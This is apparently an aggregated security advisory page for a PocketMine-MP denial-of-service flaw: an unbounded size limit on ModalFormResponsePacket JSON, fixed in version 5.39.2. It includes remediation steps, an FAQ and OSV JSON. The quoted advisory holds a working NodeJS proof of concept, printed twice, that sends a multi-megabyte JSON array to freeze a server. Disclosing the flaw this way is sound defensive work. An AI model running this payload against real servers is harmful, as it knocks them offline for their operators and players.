GHSA-788v-5pfp-93ff: PocketMine-MP JSON Decoding Of Unlimited Size Vulnerability

HIGH
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CWE-770
Published
Advisory Summary

GHSA-788v-5pfp-93ff is a HIGH json decoding of unlimited size vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting PocketMine-MP libraries in the Packagist ecosystem. The issue involves json decoding of unlimited size large arrays/objects in modalformresponse handling. Remediation is available by upgrading affected packages to version 5.39.2.

GHSA-788v-5pfp-93ff at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-788v-5pfp-93ff
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product PocketMine-MP
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix GHSA-788v-5pfp-93ff

To remediate this vulnerability, upgrade all affected PocketMine-MP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pocketmine/pocketmine-mp fixed: 5.39.2 
Upgrade pocketmine/pocketmine-mp to 5.39.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for pocketmine/pocketmine-mp

How to Check if You Are Affected

To determine whether your application is affected by GHSA-788v-5pfp-93ff, inspect your project dependencies for PocketMine-MP:

inspect dependencies for pocketmine/pocketmine-mp

Analyze the terminal output to locate any version of PocketMine-MP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.39.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In PocketMine-MP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements. The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game. ### Patches The issue was fixed in two parts: - cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse - f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID ### Workarounds This issue can be worked around in a plugin using `DataPacketReceiveEvent` by: - checking the max size of the `formData` field - making sure the form ID is not repeated However, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2. ### PoC 1. Join a PocketMine-MP server as a regular player (no special permissions needed). 2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with: * Any non-existent `formId` * `formData` containing a massive JSON array (e.g., 10+ MB payload). 3. The server will attempt to parse the JSON and may freeze or become unresponsive. Example NodeJS pseudocode: ```javascript import { createClient } from 'bedrock-protocol'; const host = '127.0.0.1'; const port = 19132; const username = 'Test'; const client = createClient({ host, port, username, offline: true }); const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]'; client.on('spawn', () => { console.log('[*] Connected & spawned. Sending malicious packet...'); client.write('modal_form_response', { formId: 9999, // Form inexistant formData: hugePayload // JSON énorme }); console.log('[*] Packet sent. The server should start freezing shortly.'); }); ```

GHSA-788v-5pfp-93ff Affected PocketMine-MP Versions

1 component(s)
Fixed Versions:
5.39.2
Product / Package Ecosystem Affected Versions Fixed Version
pocketmine/pocketmine-mp
 Packagist
< 5.39.2
5.39.2

References

GitHub Advisory / Wiki ADVISORY
https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff
Security Fix Commit FIX COMMIT
https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877
Security Fix Commit FIX COMMIT
https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5
PocketMine-MP Source Repository REPOSITORY
https://github.com/pmmp/PocketMine-MP

Frequently Asked Questions

What is GHSA-788v-5pfp-93ff?
GHSA-788v-5pfp-93ff is a security vulnerability in PocketMine-MP involving JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling under CWE-770: Allocation of Resources Without Limits or Throttling.
Which PocketMine-MP versions are affected?
Affected versions include releases prior to 5.39.2 across affected packages: pocketmine/pocketmine-mp.
What version fixes GHSA-788v-5pfp-93ff?
Upgrading to 5.39.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pocketmine/pocketmine-mp affected?
Yes, pocketmine/pocketmine-mp is affected in releases prior to 5.39.2. Upgrade your dependency to 5.39.2 or later.
What CWE is associated with GHSA-788v-5pfp-93ff?
GHSA-788v-5pfp-93ff is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Packagist dependencies for GHSA-788v-5pfp-93ff?
Run the dependency tree command: 'inspect dependencies for pocketmine/pocketmine-mp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-788v-5pfp-93ff",
  "modified" : "2026-04-06T22:54:07Z",
  "published" : "2026-04-06T22:54:07Z",
  "aliases" : [ ],
  "summary" : "PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling",
  "details" : "### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n   * Any non-existent `formId`\n   * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'Test';\n\nconst client = createClient({\n  host,\n  port,\n  username,\n  offline: true\n});\n\nconst hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';\n\nclient.on('spawn', () => {\n  console.log('[*] Connected & spawned. Sending malicious packet...');\n\n  client.write('modal_form_response', {\n    formId: 9999,       // Form inexistant\n    formData: hugePayload // JSON énorme\n  });\n\n  console.log('[*] Packet sent. The server should start freezing shortly.');\n});\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pocketmine/pocketmine-mp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.39.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pmmp/PocketMine-MP"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-06T22:54:07Z",
    "nvd_published_at" : null
  }
}